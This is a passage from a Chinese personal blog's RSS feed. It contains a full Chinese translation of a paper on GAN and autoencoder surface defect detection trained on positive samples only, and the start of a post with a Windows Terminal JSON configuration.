<p>[13] Cha Y J, Choi W, Suh G, et al. Autonomous structural visual inspection using region‐based deep learning for detecting multiple damage types[J]. Computer‐Aided Civil and Infrastructure Engineering, 2018, 33(9): 731-747.</p>
<p>[14] Li J, Su Z, Geng J, et al. Real-time detection of steel strip surface defects based on improved yolo detection network[J]. IFAC-PapersOnLine, 2018, 51(21): 76-81.</p>
<p>[15] Chen J, Liu Z, Wang H, et al. Automatic defect detection of fasteners on the catenary support device using deep convolutional neural network[J]. IEEE Transactions on Instrumentation and Measurement, 2017, 67(2): 257-269.</p>
<p>[16] Huang Y, Qiu C, Yuan K. Surface defect saliency of magnetic tile[J]. The Visual Computer, 2020, 36(1): 85-96.</p>
<p>[17] Qiu L, Wu X, Yu Z. A high-efficiency fully convolutional networks for pixel-wise surface defect detection[J]. IEEE Access, 2019, 7: 15884-15893.</p>
<p>[18] Tao X, Zhang D, Ma W, et al. Automatic metallic surface defect detection and recognition with convolutional neural networks[J]. Applied Sciences, 2018, 8(9): 1575.</p>
]]></content:encoded>
    </item>
    <item>
      <title>【文献翻译】一个基于正样本的表面缺陷检测方法</title>
      <link>https://sttev.com/posts/32-graduation-proj-translation/</link>
      <pubDate>Mon, 27 Jan 2020 22:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/32-graduation-proj-translation/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://github.com/Eatzhy/surface-defect-detection/blob/master/paper/2019.06/A%20Surface%20Defect%20Detection%20Method%20Based%20on%20Positive%20Samples.pdf&#34;&gt;A Surface Defect Detection Method Based on Positive Samples&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;摘要&#34;&gt;摘要&lt;/h2&gt;&#xA;&lt;p&gt;基于机器视觉的表面缺陷检测分类方法可以极大的提升工业生产的效率。在拥有足够标记数据的情况下，基于卷积神经网络的缺陷检测方法的效果已经达到了行业顶尖水平。然而在实际应用中，有缺陷的样本或者说负样本通常难以提前收集，人工标注也非常耗时。在这篇论文中，我们提出了一个新的仅基于正训练样本的缺陷检测框架。基本的检测方法是建立一个重建网络把样本中可能存在的缺陷修复，然后把重建后的图像和原始图像进行对比来获取准确的缺陷区域。我们结合了生成式对抗网络和自编码器进行图像重建，然后使用局部二值模式算法计算图像的局部差异来检测缺陷。在算法的训练过程中，只需要正样本，而不需要缺陷样本以及人工标注。这篇论文附带了对于纤维表面图片和 DAGM2007 数据集的验证实验。实验表明本文提出的生成式对抗网络 + 局部二值模式算法、监督训练算法再加上足够的训练样本能够达到非常高的检测准确率。由于这个方法的无监督特性，它拥有更高的实践价值。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>原文：<a href="https://github.com/Eatzhy/surface-defect-detection/blob/master/paper/2019.06/A%20Surface%20Defect%20Detection%20Method%20Based%20on%20Positive%20Samples.pdf">A Surface Defect Detection Method Based on Positive Samples</a></p>
<h2 id="摘要">摘要</h2>
<p>基于机器视觉的表面缺陷检测分类方法可以极大的提升工业生产的效率。在拥有足够标记数据的情况下，基于卷积神经网络的缺陷检测方法的效果已经达到了行业顶尖水平。然而在实际应用中，有缺陷的样本或者说负样本通常难以提前收集，人工标注也非常耗时。在这篇论文中，我们提出了一个新的仅基于正训练样本的缺陷检测框架。基本的检测方法是建立一个重建网络把样本中可能存在的缺陷修复，然后把重建后的图像和原始图像进行对比来获取准确的缺陷区域。我们结合了生成式对抗网络和自编码器进行图像重建，然后使用局部二值模式算法计算图像的局部差异来检测缺陷。在算法的训练过程中，只需要正样本，而不需要缺陷样本以及人工标注。这篇论文附带了对于纤维表面图片和 DAGM2007 数据集的验证实验。实验表明本文提出的生成式对抗网络 + 局部二值模式算法、监督训练算法再加上足够的训练样本能够达到非常高的检测准确率。由于这个方法的无监督特性，它拥有更高的实践价值。</p>
<h3 id="关键词">关键词</h3>
<ul>
<li>正样本</li>
<li>表面缺陷检测</li>
<li>自编码器</li>
<li>生成式对抗网络</li>
</ul>
<h2 id="1-简介">1. 简介</h2>
<p>表面缺陷检测在工业生产流程中起到了非常重要的作用，它对于最后投放市场产品的质量和名声都有非常重大的影响。传统的表面缺陷检测方法是采用人眼判断，非常主观、耗财、效率低下还不够准确。</p>
<p>机器视觉系统是一个人眼的可能代替品，但是它在实际应用中仍然有很多问题和挑战。尤其是在数年以前，用来判断缺陷的传统图像特征还是依靠经验来人工指定。传统的图像特征提取的操作特性通常比较低级，在类似光照变化、透视畸变、光线遮挡、物体形变等复杂场景变化下，提取的特征往往不够健壮，无法应对它们，因此许多算法在实际场景下无法应用。最近，深度学习在图像特征提取方面被发展的非常强大，卷积神经网络已经在所有的有监督问题，例如分类、目标定位、语义分割等方面取得了最高的精确度。</p>
<p>Faghih-Roohi 等人 [1] 使用深度卷积神经网络进行了铁路轨道表面的缺陷检测。他们把铁轨图像分成 6 个类别，包括 1 个无缺陷的类别以及 5 个缺陷类别，然后使用深度卷积神经网络对它们进行分类。Liu 等人 [2] 提出了一个两阶段的方法，结合了 selective search 算法的 region proposals 方法以及卷积神经网络。它能够检测并识别获得的区域，然后完成对胶囊表面的缺陷检测。Yu 等人 [3] 使用了两个 FCN 全卷积网络 [4] 语义分割网络来检测缺陷。其中一个用于检测大致位置，另一个用于检测精细位置。它可以精确的绘制出缺陷的轮廓，比原始的 FCN 全卷积网络在 DAGM 2007 数据集 [12] 上获得了更高的精确度，并且可以用于实时检测。</p>
<p>以上所有方法均使用了有监督的训练方式来检测缺陷。在工业检测的实际应用下，有两个问题必须要被考虑到：</p>
<p><strong>训练样本中缺少缺陷样本/负样本。</strong> 在实际问题中，训练样本中的缺陷样本总是更少，因为事先收集许多缺陷样本非常困难。因此，训练过程中正负样本的数量会极端不平衡，导致生成的模型可能不稳定甚至无效。在缺陷的出现数量可变且不可预测的场景下，有监督检测方法常常无法达到目标精度。</p>
<p><strong>人工标注代价巨大。</strong> 在实际的缺陷检测应用中，往往有多种缺陷种类，检测标准和质量等级也往往不同。这要求有一大批训练样本为了特定需求被人工标注，需要非常大量的人力资源。</p>
<p>考虑到以上有监督学习算法目前在实际应用中的问题，我们提出了一种基于正样本训练的缺陷检测方法。该方法的训练过程仅仅需要提供足够的正样本，不需要提供缺陷样本，也不需要人工标注，就可以实现缺陷检测的目标。</p>
<h2 id="2-相关工作">2. 相关工作</h2>
<h3 id="21-基于正样本的缺陷修复模型">2.1 基于正样本的缺陷修复模型</h3>
<p>我们提出这个模型的灵感来源于一系列基于生成式对抗网络 [5] 的修复和检测模型。图一所示是生成式对抗网络的原理图，生成器 G 输入一个高斯随机噪声以生成一幅图像，判别器 D 输入一副真或者假的图片，输出这幅图像为真的概率。生成的图像的真实程度会随着生成器和判别器持续博弈的过程不断改进。</p>
<p><img src="../grad-translation.assets/image-20200128012452152.png" alt="image-20200128012452152"></p>
<p><strong>图一.</strong> 生成式对抗网络的架构</p>
<p>Yeh 等人 [6] 使用了生成式对抗网络用于图像修复。首先，使用一张没有缺陷的图片通过正常训练流程来训练一个生成式对抗网络的模型。随后在修复一个已知位置的缺陷时，优化生成器 G 的输入 z，使得输出 y 和缺陷图片的正常部分达到最相似。图片 y 就是一张修复图。Schlegl 等人 [7] 实现了基于图像修复的缺陷检测。首先，在不提前知道缺陷位置的情况下使用中间层的重建误差来完成一个修复模组。随后计算修复图和原图之间的差距，差距大的地方就是缺陷。由于重建和修复的误差，这个模型的缺陷就是难以通过直接的相减来区分重建误差和微小的缺陷。</p>
<p>这两个模型的明显缺陷是他们都使用了梯度优化来寻找一个正确的 z，然后进一步获得修复图。这个过程需要消耗不少时间，非常不实用。所以我们希望通过自编码器来修复缺陷图片。</p>
<h3 id="22-自编码器">2.2 自编码器</h3>
<p>Pix2pix [8] 使用了自编码器结合生成式对抗网络的方法来解决图像翻译的任务，它能够生成锐利并且真实的图像。为了在细节和边缘部分达到更好的结果，pix2pix 使用了类似于 Unet [9] 的跳跃连接结构。这个结构并不适合于移除整个缺陷，所以我们的模型中没有采用这个结构。 图像翻译任务通常指的是给黑白照片上色，或是把简笔画转化成一幅相片，等等。我们使用了一个类似的结构来完成缺陷图像到还原图像的转化。</p>
<p>基于以上研究，这篇论文完成了以下工作：（1）我们使用自编码器复原图像。我们能够实时完成图像修复的功能，并通过生成式对抗网络的损失值来提升图像质量；（2）我们在训练中使用人造缺陷，不依赖大量的真实缺陷样本以及人工标注；（3）我们使用局部二值模式算法 [10] 来比对还原图像和原始图像，以此更精确的寻找缺陷的位置。</p>
<p>总而言之，我们提出了一个基于正样本训练且无需人工标注的缺陷检测模型。</p>
<h2 id="3-方法">3. 方法</h2>
<p>本文提出模型的大致框架如图二所示。在训练阶段，$x$ 是一张从训练集中随机挑选的图片。$C(x^\sim|x)$ 是一个人造缺陷模块，它的功能是自动生成一个损坏的缺陷样本，$x^\sim$ 是它的输出。EN 和 DE 构成了自编码器 G，其中 EN 是编码器，DE 是解码器，整个自编码器可以视作是生成式对抗模型中的生成器。G 的任务是修复缺陷图像。D 是判别器，它输出判别对象是一个真实正样本的概率。</p>
<p><img src="../grad-translation.assets/image-20200128012530013.png" alt="image-20200128012530013"></p>
<p><strong>图二.</strong> 模型的框架</p>
<p>在测试阶段，我们把测试图像 x 输入自编码器 G，获得修复图像 y。然后我们使用局部二值模式算法提取 x 和 y 的特征，对比每一个像素的特征，当特征差距较大时就是缺陷所在。</p>
<h3 id="31-目标">3.1 目标</h3>
<p>缺陷样本在经过自编码器之后应当与原始的正样本相同。这里我们参照 pix2pix 使用 L1 距离作为相似度的标准，L1 距离相对于 L2 距离更倾向于清晰的图片。重构误差定义如下：</p>
$$
L_{CONST}(G)=E_{x\sim P_{data}(x)}[\parallel x-G(x^\sim)\parallel_1]
$$<p>如果重构误差仅仅用于目标函数，获得图像的边缘就会模糊，细节会损失。根据 pix2pix 的实验，他们引入了一个判别网络，以此加入生成式对抗网络的损失来改善模糊问题，提升图像的真实度。生成式对抗网络的目标函数如下：</p>
$$
L_{GAN}(G,D)=E_{x\sim P_{data}(x)}[logD(x)+log(1-D(G(x^\sim)))]
$$<p>因此总体的优化目标就是找到一组参数组成网络 G，并使其满足：</p>
$$
G^*=arg\ {min}_G\ {max}_D(L_{GAN}(G,D)+\lambda L_{CONST}(G))
$$<p>$\lambda$ 是用于平衡生成式对抗网络的损失和重建误差的参数，由实验来决定。生成式对抗网络损失的引入，在一定程度上会与重构误差冲突，但是能够改进图像质量以及对重要细节的展示。</p>
<h3 id="32-网络结构以及人造缺陷">3.2 网络结构以及人造缺陷</h3>
<p>我们提出的网络结构被称为深度卷积生成式对抗网络 [11] 。在生成器和判别器网络中，加入了批标准化层。判别器网络中使用了 LeakyReLU 层，生成器网络中使用了 ReLU 层。编码器的结构和判别器大致相似。</p>
<p>在我们的模型中，自编码器只需要把原始的图片修复到最近的示例样本，而不需要知道缺陷的具体形式。因此当足够的随机缺陷附加在样本上后，神经网络将能够学习修复映射相关的信息。在实际训练中，我们人工生成随机的区块、位置、大小、灰度数值，以及加入图片的缺陷区块个数，如图三所示，来训练网络自动修复缺陷。</p>
<p><img src="../grad-translation.assets/image-20200128012557327.png" alt="image-20200128012557327"></p>
<p><strong>图三.</strong> 人造缺陷示例图</p>
<p>至于数据增强，我们采用了 0.5 倍到 2 倍的随机缩放，另外还加入了 -180° 到 180° 的随机旋转，以及为图片加入了随机高斯噪声。</p>
<h3 id="33-获取缺陷位置">3.3 获取缺陷位置</h3>
<p>由于还原图像的细节信息中存在一些误差，我们不应该直接使用还原图和原始图相除来获得缺陷位置。我们使用了局部二值模式 [10] 算法来进行特征提取，然后搜寻每个像素周围最匹配的像素。局部二值模式算法是一个无参数的算法，拥有不变性，并且适合用于密集点阵。</p>
<p>获取缺陷图的步骤如图四所示。原始图片 $x$ 和复原图片 $y$ 经过局部二值模式算法获得各自的特征图 $x^+$ 以及 $y^+$。对于 $x^+$ 中的每个像素点，搜索 $y^+$ 对应位置最近的特征值点，这个像素点就是匹配点。求两个匹配点之间的特征值差，取绝对值。得到的值越小，这个点是缺陷的概率就越低。然后使用固定阈值进行二值化，就可以获得缺陷的位置了。</p>
<p><img src="../grad-translation.assets/image-20200128012605860.png" alt="image-20200128012605860"></p>
<p><strong>图四.</strong> 获取缺陷位置的过程</p>
<h2 id="4-实验">4. 实验</h2>
<h3 id="41-准备工作">4.1 准备工作</h3>
<p>这篇论文使用了纤维图片以及纹理表面图片来测试模型性能，一共使用了 3 种纤维图片和 1 种纹理表面图片。纤维图片来自这个数据库 [13]，纹理表面图片来自于 DAGM 2007 [12] 数据集。在这篇论文中，我们对比了有监督的语义分割模型 [4] 和我们提出的模型在缺陷检测方面的表现。</p>
<p>开发环境如下：CPU：Intel® Xeon(R) E5620@2.40GHZ*16，GPU：GTX1080，内存：16G，Python 2.7.12 以及 mxnet。我们使用了 Adam 优化器，设置初始学习率为 0.0002，批大小为 64。</p>
<h3 id="42-结果">4.2 结果</h3>
<p>我们在实验中使用了整张图片的平均正确率作为模型性能的评估数值。</p>
<p><strong>纹理表面。</strong> 纹理表面拥有很好的一致性，因此训练集中拥有足够的缺陷样本供学习（表一与表二）。</p>
<p><strong>表一.</strong> 纹理表面的测试信息</p>
<table>
  <thead>
      <tr>
          <th style="text-align: left">名称</th>
          <th style="text-align: left">信息</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: left">训练集</td>
          <td style="text-align: left">400 张无缺陷图供我们的模型, 85 张（有缺陷的）+ 400 张（无缺陷的）给全卷积网络 FCN</td>
      </tr>
      <tr>
          <td style="text-align: left">测试集</td>
          <td style="text-align: left">85 张有缺陷的图片</td>
      </tr>
      <tr>
          <td style="text-align: left">图片尺寸</td>
          <td style="text-align: left">512 * 512</td>
      </tr>
  </tbody>
</table>
<p><strong>表二.</strong> 纹理表面的测试结果</p>
<table>
  <thead>
      <tr>
          <th>模型</th>
          <th>平均准确率</th>
          <th>耗时</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>FCN(8s)</td>
          <td>98.3547%</td>
          <td>80.3 毫秒</td>
      </tr>
      <tr>
          <td>我们的</td>
          <td>98.5323%</td>
          <td>52.1 毫秒</td>
      </tr>
  </tbody>
</table>
<p>如图五所示，这是一个缺陷检测结果的例子。</p>
<p><img src="../grad-translation.assets/image-20200128012624160.png" alt="image-20200128012624160"></p>
<p><strong>图五.</strong> (a) 原始输入图像。(b) 还原图像。(c) 我们的结果。(d) FCN 的结果。(e) 真值。</p>
<p><strong>纤维图片。</strong> 由于真实场景下纤维样本有多种不同的样子，训练集中的缺陷样本相对比较稀少。在实验中，一共有 5 种类型的缺陷，共有 5 张各种形式的缺陷图，以及 25 个正样本图。对于有监督的语义分割模型，缺陷图中的 3 张用于训练集，另外 2 张用于测试集（表三和表四）。</p>
<p><strong>表三.</strong> 纤维图片的测试信息</p>
<table>
  <thead>
      <tr>
          <th>名称</th>
          <th>信息</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>训练集</td>
          <td>75 张无缺陷的图片供我们的模型, 45 张（有缺陷的）+ 75 张（无缺陷的）给 FCN</td>
      </tr>
      <tr>
          <td>测试集</td>
          <td>30 张有缺陷的图片</td>
      </tr>
      <tr>
          <td>图片尺寸</td>
          <td>256 * 256</td>
      </tr>
  </tbody>
</table>
<p><strong>表四.</strong> 纤维图片的测试结果</p>
<table>
  <thead>
      <tr>
          <th>模型</th>
          <th>平均准确率</th>
          <th>耗时</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>FCN(8s)</td>
          <td>81.6833%</td>
          <td>31.2 毫秒</td>
      </tr>
      <tr>
          <td>我们的</td>
          <td>94.4253%</td>
          <td>22.3 毫秒</td>
      </tr>
  </tbody>
</table>
<p>如图六所示，这是一个缺陷检测结果的例子。</p>
<p><img src="../grad-translation.assets/image-20200128012636776.png" alt="image-20200128012636776"></p>
<p><strong>图六.</strong> (a) 原始输入图像。(b) 还原图像。(c) 我们的结果。(d) FCN 的结果。(e) 真值。</p>
<p>实验表明，在一个有规律的图案的背景中，我们的模型可以在充足负样本情况下达到和有监督的语义分割模型相当的准确率，并且可以在负样本缺少的情况下达到更高的准确率。耗时方面，我们的模型可以达到实时探测的标准。</p>
<h2 id="5-结论">5. 结论</h2>
<p>在这篇论文中，我们结合了自编码器和生成式对抗网络提出了一个基于正样本训练且无需人工标注的缺陷检测模型。在训练中，结合了人造缺陷和数据增强的方法，模型能够自动修复有规律图案的纹理图片的缺陷，并且能够通过比较原始图片和修复图片的特征来获得缺陷的具体位置。在纤维图片和纹理表面图片上，缺陷的位置可以被实时探测获得。并且，我们可以在有缺陷的训练样本稀少的时候比有监督的语义分割模型获得更好的结果。</p>
<p>如果背景过于复杂和随机，自编码器将会难以重建并修复图片。相关的缺陷探测问题尚待未来进一步研究。</p>
<p><strong>致谢。</strong> 这项工作部分由国家自然科学基金深圳联合基金重点项目支持。（编号 U1613217）</p>
<h2 id="参考文献">参考文献</h2>
<ol>
<li>Faghih-Roohi, S., et al.: Deep convolutional neural networks for detection of rail surface defects. In: International Joint Conference on Neural Networks. IEEE (2016)</li>
<li>Liu, R., et al.: Region-convolutional neural network for detecting capsule surface defects. Boletín Técnico 55(3), 92–100 (2017)</li>
<li>Yu, Z., Wu, X., Gu, X.: Fully Convolutional networks for surface defect inspection in industrial environment. In: Liu, M., Chen, H., Vincze, M. (eds.) ICVS 2017. LNCS, vol. 10528, pp. 417–426. Springer, Cham (2017). <a href="https://doi.org/10.1007/978-3-319-68345-4_37">https://doi.org/10.1007/978-3-319-68345-4_37</a></li>
<li>Long, J., Shelhamer, E., Darrell, T.: Fully convolutional networks for semantic segmentation. In: Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition, pp. 3431–3440 (2015)</li>
<li>Goodfellow, I., et al.: Generative adversarial nets. In: Advances in Neural Information Processing Systems (2014)</li>
<li>Yeh, R., et al.: Semantic image inpainting with perceptual and contextual losses (2016). arXiv preprint arXiv:1607.07539</li>
<li>Schlegl, T., Seeböck, P., Waldstein, Sebastian M., Schmidt-Erfurth, U., Langs, G.: Unsupervised anomaly detection with generative adversarial networks to guide marker discovery. In: Niethammer, M., Styner, M., Aylward, S., Zhu, H., Oguz, I., Yap, P.-T., Shen, D. (eds.) IPMI 2017. LNCS, vol. 10265, pp. 146–157. Springer, Cham (2017). <a href="https://doi.org/10.1007/978-3-319-59050-9_12">https://doi.org/10.1007/978-3-319-59050-9_12</a></li>
<li>Isola, P., et al.: Image-to-image translation with conditional adversarial networks (2017). arXiv preprint</li>
<li>Ronneberger, O., Fischer, P., Brox, T.: U-Net: convolutional networks for biomedical image segmentation. In: Navab, N., Hornegger, J., Wells, W.M., Frangi, A.F. (eds.) MICCAI 2015. LNCS, vol. 9351, pp. 234–241. Springer, Cham (2015). <a href="https://doi.org/10.1007/978-3-319-24574-4_28">https://doi.org/10.1007/978-3-319-24574-4_28</a></li>
<li>Ojala, T., Pietikäinen, M., Harwood, D.: A comparative study of texture measures with classiﬁcation based on featured distributions. Pattern Recogn. 29(1), 51–596 (1996)</li>
<li>Radford, A., Luke M., Chintala, S.: Unsupervised representation learning with deep convolutional generative adversarial networks (2015). arXiv preprint arXiv:1511.06434</li>
<li>HCI: Weakly Supervised Learning for Industrial Optical Inspection. <a href="https://hci.iwr.uniheidelberg.de/node/3616">https://hci.iwr.uniheidelberg.de/node/3616</a>. Accessed 13 Nov 2017</li>
<li>Ngan, H.Y.T., Pang, G.K.H., Yung, N.H.C.: Automated fabric defect detection—a review. Image Vis. Comput. 29(7), 442–458 (2011)</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>Windows Terminal 配置</title>
      <link>https://sttev.com/posts/31-wt-config/</link>
      <pubDate>Thu, 12 Dec 2019 22:00:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/31-wt-config/</guid>
      <description>&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/microsoft/terminal&#34;&gt;Windows Terminal&lt;/a&gt; 可以说是现在 Windows 平台最香的 Terminal 应用了。巨硬官方出品，开源，颜值在线，足够流畅，没有编码/字体问题，多标签支持，emoji 支持，可以说找不到第二个这么牛逼的了。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="简介">简介</h2>
<p><a href="https://github.com/microsoft/terminal">Windows Terminal</a> 可以说是现在 Windows 平台最香的 Terminal 应用了。巨硬官方出品，开源，颜值在线，足够流畅，没有编码/字体问题，多标签支持，emoji 支持，可以说找不到第二个这么牛逼的了。</p>
<p>目前 <a href="https://github.com/microsoft/terminal/releases">Windows Terminal</a> 在 Preview v0.7 版本。从 7 月份的第一个公开预览版到现在 12 月，快半年时间的打磨，已经没有太多影响体验的大 Bug 了。经过一阵的使用，我毅然抛弃了包括 cmd，PowerShell，Powershell Core，Linux Bash，Git Bash，Cmder 在内的一切 Terminal，<a href="https://github.com/microsoft/terminal">Windows Terminal</a> 大法好。下面记录一下配置过程。</p>
<h2 id="安装">安装</h2>
<p>微软商店搜索 <a href="https://www.microsoft.com/en-us/p/windows-terminal-preview/9n0dx20hk701">Windows Terminal (preview)</a> 安装即可。</p>
<h2 id="wt-配置">WT 配置</h2>
<blockquote>
<p>一切配置以 <a href="https://aka.ms/terminal-documentation">官方文档</a> 为准。</p>
<p>Json 配置文件的编辑说明可以看 <a href="https://github.com/microsoft/terminal/blob/master/doc/user-docs/UsingJsonSettings.md">这里</a> 和 <a href="https://github.com/microsoft/terminal/blob/master/doc/cascadia/SettingsSchema.md">这里</a>。</p>
</blockquote>
<p>在 WT 的菜单里点击 Settings 就可以打开 Json 配置文件。按住 <code>alt</code> 键点击 Settings 则可以打开默认配置文件，可以用于参考。参考默认配置后，我把我的配置设置成如下：</p>





<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="ln"> 1</span><span class="cl">
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="c1">// To view the default settings, hold &#34;alt&#34; while clicking on the &#34;Settings&#34; button.
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1">// For documentation on these settings, see: https://aka.ms/terminal-documentation
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="nt">&#34;$schema&#34;</span><span class="p">:</span> <span class="s2">&#34;https://aka.ms/terminal-profiles-schema&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="nt">&#34;defaultProfile&#34;</span><span class="p">:</span> <span class="s2">&#34;{2c4de342-38b7-51cf-b940-2309a097f518}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="nt">&#34;initialCols&#34;</span> <span class="p">:</span> <span class="mi">100</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="nt">&#34;initialRows&#34;</span> <span class="p">:</span> <span class="mi">30</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="nt">&#34;profiles&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="p">[</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nt">&#34;guid&#34;</span><span class="p">:</span> <span class="s2">&#34;{2c4de342-38b7-51cf-b940-2309a097f518}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="nt">&#34;hidden&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Ubuntu&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="nt">&#34;source&#34;</span><span class="p">:</span> <span class="s2">&#34;Windows.Terminal.Wsl&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="c1">// &#34;startingDirectory&#34;: &#34;//wsl$/Ubuntu/home/steve&#34;,
</span></span></span><span class="line"><span class="ln">20</span><span class="cl">            <span class="nt">&#34;startingDirectory&#34;</span><span class="p">:</span> <span class="s2">&#34;.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="nt">&#34;closeOnExit&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="nt">&#34;colorScheme&#34;</span><span class="p">:</span> <span class="s2">&#34;One Half Dark&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="nt">&#34;cursorColor&#34;</span><span class="p">:</span> <span class="s2">&#34;#FFFFFF&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="nt">&#34;cursorShape&#34;</span><span class="p">:</span> <span class="s2">&#34;bar&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="nt">&#34;fontFace&#34;</span><span class="p">:</span> <span class="s2">&#34;Delugia Nerd Font&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="c1">// Cascadia Code PL
</span></span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="c1">// Delugia Nerd Font
</span></span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="nt">&#34;fontSize&#34;</span><span class="p">:</span> <span class="mi">12</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">            <span class="nt">&#34;historySize&#34;</span><span class="p">:</span> <span class="mi">9001</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">            <span class="nt">&#34;padding&#34;</span><span class="p">:</span> <span class="s2">&#34;8, 8, 8, 8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">            <span class="nt">&#34;snapOnInput&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">            <span class="nt">&#34;useAcrylic&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">            <span class="nt">&#34;acrylicOpacity&#34;</span><span class="p">:</span> <span class="mf">0.8</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">            <span class="nt">&#34;guid&#34;</span><span class="p">:</span> <span class="s2">&#34;{574e775e-4f2a-5b96-ac1e-a2962a402336}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">            <span class="nt">&#34;name&#34;</span><span class="p">:</span> <span class="s2">&#34;Powershell Core 6&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">            <span class="nt">&#34;commandline&#34;</span><span class="p">:</span> <span class="s2">&#34;pwsh.exe&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">            <span class="nt">&#34;hidden&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">            <span class="c1">// &#34;startingDirectory&#34;: &#34;%USERPROFILE%&#34;,
</span></span></span><span class="line"><span class="ln">41</span><span class="cl">            <span class="nt">&#34;startingDirectory&#34;</span><span class="p">:</span> <span class="s2">&#34;.&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">            <span class="nt">&#34;closeOnExit&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">            <span class="nt">&#34;colorScheme&#34;</span><span class="p">:</span> <span class="s2">&#34;One Half Dark&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">            <span class="nt">&#34;cursorColor&#34;</span><span class="p">:</span> <span class="s2">&#34;#FFFFFF&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">            <span class="nt">&#34;cursorShape&#34;</span><span class="p">:</span> <span class="s2">&#34;bar&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">            <span class="nt">&#34;fontFace&#34;</span><span class="p">:</span> <span class="s2">&#34;Delugia Nerd Font&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">            <span class="nt">&#34;fontSize&#34;</span><span class="p">:</span> <span class="mi">12</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">            <span class="nt">&#34;historySize&#34;</span><span class="p">:</span> <span class="mi">9001</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">            <span class="nt">&#34;icon&#34;</span><span class="p">:</span> <span class="s2">&#34;ms-appx:///ProfileIcons/{574e775e-4f2a-5b96-ac1e-a2962a402336}.png&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">            <span class="nt">&#34;padding&#34;</span><span class="p">:</span> <span class="s2">&#34;8, 8, 8, 8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">            <span class="nt">&#34;snapOnInput&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
